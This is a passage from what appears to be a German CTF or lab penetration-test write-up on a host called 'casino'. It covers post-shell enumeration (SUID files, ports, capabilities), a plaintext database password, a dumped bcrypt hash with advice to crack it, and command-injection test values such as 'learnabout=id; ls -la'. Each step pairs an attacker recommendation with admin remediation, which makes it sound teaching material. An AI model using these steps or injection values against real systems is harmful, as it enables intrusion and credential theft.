Empfehlung (Admin): Priorisieren Sie die Behebung der Schwachstelle in `head.php`. Führen Sie eine Code-Überprüfung durch, um ähnliche Schwachstellen in anderen Teilen der Anwendung zu finden. Implementieren Sie Input-Validierung und Output-Encoding.
Kontext: Nach Erlangung der Shell als `www-data` werden verschiedene Enumerationsschritte durchgeführt, um potenzielle Wege zur Privilegienerweiterung zu finden.
total 16 drwxr-xr-x 4 root root 4096 Jun 14 14:09 . drwxr-xr-x 18 root root 4096 Jun 13 12:38 .. drwx------ 3 gimbal gimbal 4096 Jun 13 12:44 gimbal drwx------ 3 shimmer shimmer 4096 Jun 14 17:24 shimmer
Analyse: Auflisten der Home-Verzeichnisse. Es gibt zwei Benutzer neben `root`: `gimbal` und `shimmer`. Ihre Home-Verzeichnisse sind für `www-data` nicht lesbar.
Bewertung: Identifiziert potenzielle Benutzerkonten auf dem System.
Empfehlung (Pentester): Suchen Sie nach Passwörtern oder SSH-Schlüsseln für `gimbal` oder `shimmer` in Konfigurationsdateien oder Datenbanken.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (Standard ist 700 oder 750).
407366 52 -rwsr-xr-- 1 root messagebus 51272 Feb 8 14:21 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 410239 640 -rwsr-xr-x 1 root root 653888 Feb 8 11:43 /usr/lib/openssh/ssh-keysign 391801 88 -rwsr-xr-x 1 root root 88496 Mar 23 13:40 /usr/bin/gpasswd 395414 60 -rwsr-xr-x 1 root root 59704 Mar 23 11:02 /usr/bin/mount 395416 36 -rwsr-xr-x 1 root root 35128 Mar 23 11:02 /usr/bin/umount 391798 64 -rwsr-xr-x 1 root root 62672 Mar 23 13:40 /usr/bin/chfn 396011 72 -rwsr-xr-x 1 root root 72000 Mar 23 11:02 /usr/bin/su 391802 68 -rwsr-xr-x 1 root root 68248 Mar 23 13:40 /usr/bin/passwd 395260 48 -rwsr-xr-x 1 root root 48896 Mar 23 13:40 /usr/bin/newgrp 391799 52 -rwsr-xr-x 1 root root 52880 Mar 23 13:40 /usr/bin/chsh
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit (`-perm -4000`), die mit Root-Rechten ausgeführt werden, auch wenn sie von einem normalen Benutzer gestartet werden. Fehler (wie "Permission denied") werden nach `/dev/null` umgeleitet (`2>/dev/null`).
Bewertung: Die gefundenen SUID-Binaries sind Standard-Systemdateien (`mount`, `su`, `passwd`, etc.) unter Debian/Linux. Keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien werden gefunden, die direkt für eine Eskalation missbraucht werden könnten (basierend auf dieser Liste).
Empfehlung (Pentester): Überprüfen Sie die Versionen dieser Standard-Binaries auf bekannte SUID-Exploits (unwahrscheinlich bei aktuellen Systemen). Suchen Sie nach anderen Eskalationsvektoren (Kernel-Exploits, Fehlkonfigurationen, Cronjobs, Capabilities).
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Dateien auf dem System. Entfernen Sie das SUID/SGID-Bit von Dateien, die es nicht benötigen (`chmod -s /pfad/zur/datei`).
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 511 127.0.0.1:6969 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 511 *:80 *:*
Analyse: Der Befehl `ss -altpn` zeigt offene Netzwerk-Listen-Sockets (lauschende Ports) an. * Port 6969: Lauscht nur auf localhost (`127.0.0.1`), unbekannter Dienst. * Port 3306: Lauscht nur auf localhost (`127.0.0.1`), der Standard-MySQL/MariaDB-Port. Bestätigt, dass die Datenbank nicht von außen erreichbar ist. * Port 22: Lauscht auf allen Interfaces (`0.0.0.0` und `::`) für SSH. * Port 80: Lauscht auf allen Interfaces (`*`) für HTTP (Apache).
Bewertung: Bestätigt die Ergebnisse des Nmap-Scans und die Konfiguration des MySQL-Servers. Der Dienst auf Port 6969 ist neu, aber nur lokal erreichbar.
Empfehlung (Pentester): Untersuchen Sie den Dienst auf Port 6969 von der Shell aus (z.B. mit `curl localhost:6969` oder `nc localhost 6969`). Greifen Sie auf die MySQL-Datenbank auf Port 3306 mit den gefundenen Zugangsdaten zu.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Dienste laufen und an die korrekten Interfaces gebunden sind. Identifizieren Sie den Dienst auf Port 6969 und prüfen Sie dessen Notwendigkeit und Sicherheit.
total 20 drwxr-xr-x 2 root root 4096 Jun 14 13:43 . drwxr-xr-x 12 root root 4096 Jun 13 12:39 .. -rw-r--r-- 1 root root 11116 Jun 13 12:48 apt.extended_states.0
Analyse: Überprüft den Inhalt des Standard-Backup-Verzeichnisses `/var/backups`.
Bewertung: Enthält nur eine Standard-Datei von `apt`. Keine offensichtlich nützlichen Backups (wie Datenbank-Dumps oder Konfigurationsdateien) gefunden.
Empfehlung (Pentester): Suchen Sie an anderen Orten nach Backups oder sensiblen Dateien.
Empfehlung (Admin): Stellen Sie sicher, dass Backups sicher gespeichert und Berechtigungen korrekt gesetzt sind.
Enter password: [Passwort IJustWantToBeRichBaby420 eingegeben] Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 43 Server version: 10.11.3-MariaDB-1 Debian 12 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
Analyse: Erfolgreicher Login in die lokale MariaDB-Datenbank mit dem MySQL-Client unter Verwendung der Zugangsdaten (`casino_admin`:`IJustWantToBeRichBaby420`), die in `config.php` gefunden wurden.
Bewertung: Bestätigt die Gültigkeit der Zugangsdaten und ermöglicht den Zugriff auf die Datenbank `casino`.
Empfehlung (Pentester): Untersuchen Sie die Datenbanken (`show databases;`), wechseln Sie zur `casino`-Datenbank (`use casino;`), listen Sie die Tabellen auf (`show tables;`) und extrahieren Sie Daten aus der `users`-Tabelle (`select * from users;`).
Empfehlung (Admin): Wie zuvor: Passwörter nicht im Klartext speichern. Überprüfen Sie die Berechtigungen des `casino_admin`-Benutzers innerhalb der Datenbank.
+--------------------+ | Database | +--------------------+ | casino | | information_schema | +--------------------+ 2 rows in set (0.000 sec)
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed
+------------------+ | Tables_in_casino | +------------------+ | users | +------------------+ 1 row in set (0.000 sec)
+----+------+--------------------------------------------------------------+-------+ | id | user | pass | money | +----+------+--------------------------------------------------------------+-------+ | 1 | tom | $2y$10$ZSVTC1i0SGSy6hv04HOkFej3Cc0hq6kT9dS4EkrZOc7yBn0cEsKaq | 1000 | +----+------+--------------------------------------------------------------+-------+ 1 row in set (0.000 sec)
Analyse: Innerhalb der MariaDB-Shell werden die Datenbanken aufgelistet, zur `casino`-Datenbank gewechselt, deren Tabellen angezeigt (`users`) und schließlich der Inhalt der `users`-Tabelle abgefragt.
Bewertung: Ein Benutzer `tom` mit einem Passwort-Hash (`$2y$10$...` -> bcrypt) wird gefunden. Dies ist ein weiterer wichtiger Fund.
Empfehlung (Pentester): Versuchen Sie, den bcrypt-Hash für `tom` offline zu knacken (z.B. mit Hashcat). Wenn erfolgreich, versuchen Sie, sich als `tom` per SSH anzumelden (da Passwort-Authentifizierung dort deaktiviert ist, funktioniert dies wahrscheinlich nicht direkt, aber das Passwort könnte woanders wiederverwendet werden). Überprüfen Sie, ob `tom` einer der Benutzer (`gimbal`, `shimmer`) ist.
Empfehlung (Admin): Verwenden Sie starke, zufällige Passwörter. Speichern Sie Hashes mit einem hohen Cost-Faktor (bei bcrypt). Überwachen Sie Datenbankzugriffe.
http://192.168.111/casino/explainmepls.php?learnabout=id
Analyse: Diese Zeile deutet auf eine weitere potenziell interessante Datei hin: `/casino/explainmepls.php`. Der Parameter `learnabout=id` lässt vermuten, dass hier möglicherweise eine weitere Command Injection oder eine Informations-Leak-Schwachstelle vorliegt.
Bewertung: Ein weiterer potenzieller Angriffsvektor oder eine Informationsquelle.
Empfehlung (Pentester): Rufen Sie die URL (mit korrekter IP) auf und testen Sie den `learnabout`-Parameter auf Command Injection (z.B. `learnabout=id; ls -la`, `learnabout=$(whoami)`) oder LFI.
Empfehlung (Admin): Überprüfen Sie `explainmepls.php` auf Schwachstellen und beheben Sie diese.
require_once "../restricted.php"; include_once "../config.php"; session_start(); if ($SERVER['REQUEST_METHOD'] === 'GET') { $learnabout = $GET['learnabout']; } Binary Bet Casino < --By LordP4 <3 -->
Analyse: Der Quellcode von `explainmepls.php` wird ausgelesen. Er bindet `restricted.php` und `config.php` ein, startet eine Session und liest den GET-Parameter `learnabout` in eine Variable ein. Der restliche Code, der `$learnabout` verwendet, fehlt hier, aber die Art, wie der Parameter direkt gelesen wird, ist oft ein Hinweis auf mögliche Schwachstellen (z.B. wenn er später unsanitisiert in `eval()`, `system()`, `include()` oder einer SQL-Abfrage verwendet wird).
Bewertung: Der Codeausschnitt selbst zeigt keine vollständige Schwachstelle, aber er verstärkt den Verdacht, dass der `learnabout`-Parameter ein Angriffspunkt sein könnte. Die Einbindung von `restricted.php` könnte auch interessant sein.
Empfehlung (Pentester): Versuchen Sie weiterhin, den `learnabout`-Parameter auszunutzen. Versuchen Sie, `restricted.php` über die LFI (falls vorhanden) oder direkt zu lesen.
Empfehlung (Admin): Überprüfen Sie den vollständigen Code von `explainmepls.php` und stellen Sie sicher, dass der `$learnabout`-Parameter sicher verarbeitet wird, bevor er verwendet wird (Input-Validierung, Escaping, parametrisierte Abfragen etc.).
Linux casino 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 GNU/Linux
Analyse: Zeigt detaillierte Informationen über das Betriebssystem und den Kernel an.
Bewertung: Gibt die genaue Kernel-Version (6.1.0-9-amd64) und das Betriebssystem (Debian 6.1.27-1) an. Dies ist nützlich für die Suche nach spezifischen Kernel-Exploits.
Empfehlung (Pentester): Suchen Sie auf Exploit-DB oder anderen Ressourcen nach bekannten Kernel-Exploits für Linux Kernel 6.1.0.
Empfehlung (Admin): Halten Sie das System und den Kernel stets aktuell, um bekannte Schwachstellen zu patchen.
/usr/bin/ping cap_net_raw=ep
Analyse: Sucht rekursiv im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities. Fehler werden nach `/dev/null` umgeleitet.
Bewertung: Es wird nur die Standard-Capability `cap_net_raw=ep` für `/usr/bin/ping` gefunden. Dies ist normal und bietet keinen direkten Weg zur Privilegienerweiterung.
Empfehlung (Pentester): Capabilities scheinen kein vielversprechender Vektor zu sein. Konzentrieren Sie sich auf andere Methoden (Passwort-Cracking, Kernel-Exploit, Fehlkonfigurationen).
Empfehlung (Admin): Überprüfen Sie regelmäßig Capabilities und entfernen Sie unnötige (`setcap -r /pfad/zur/datei`).
Fehlender Schritt: Der Berichtstext springt hier zu "Privilege Escalation erfolgreich", aber der tatsächliche Schritt, wie von `www-data` (mit Datenbankzugriff und Benutzer-Hash) zu Root eskaliert wurde, fehlt in den Logs. Mögliche Wege wären das Knacken des `tom`-Hashes und Wiederverwendung des Passworts, ein Kernel-Exploit oder eine andere unentdeckte Fehlkonfiguration.
Bewertung: Die Dokumentation der Privilegienerweiterung ist unvollständig. Der entscheidende Exploit oder die ausgenutzte Schwachstelle für den Schritt zu Root fehlt.
Empfehlung (Pentester): Ergänzen Sie den Bericht um den fehlenden Eskalationsschritt, sobald dieser nachvollzogen wurde.
Empfehlung (Admin): Obwohl der genaue Weg fehlt, wurden bereits mehrere Schwachstellen (LFI/Command Injection, Klartextpasswörter, fehlende Header, Verzeichnisauflistung) identifiziert, die dringend behoben werden müssen.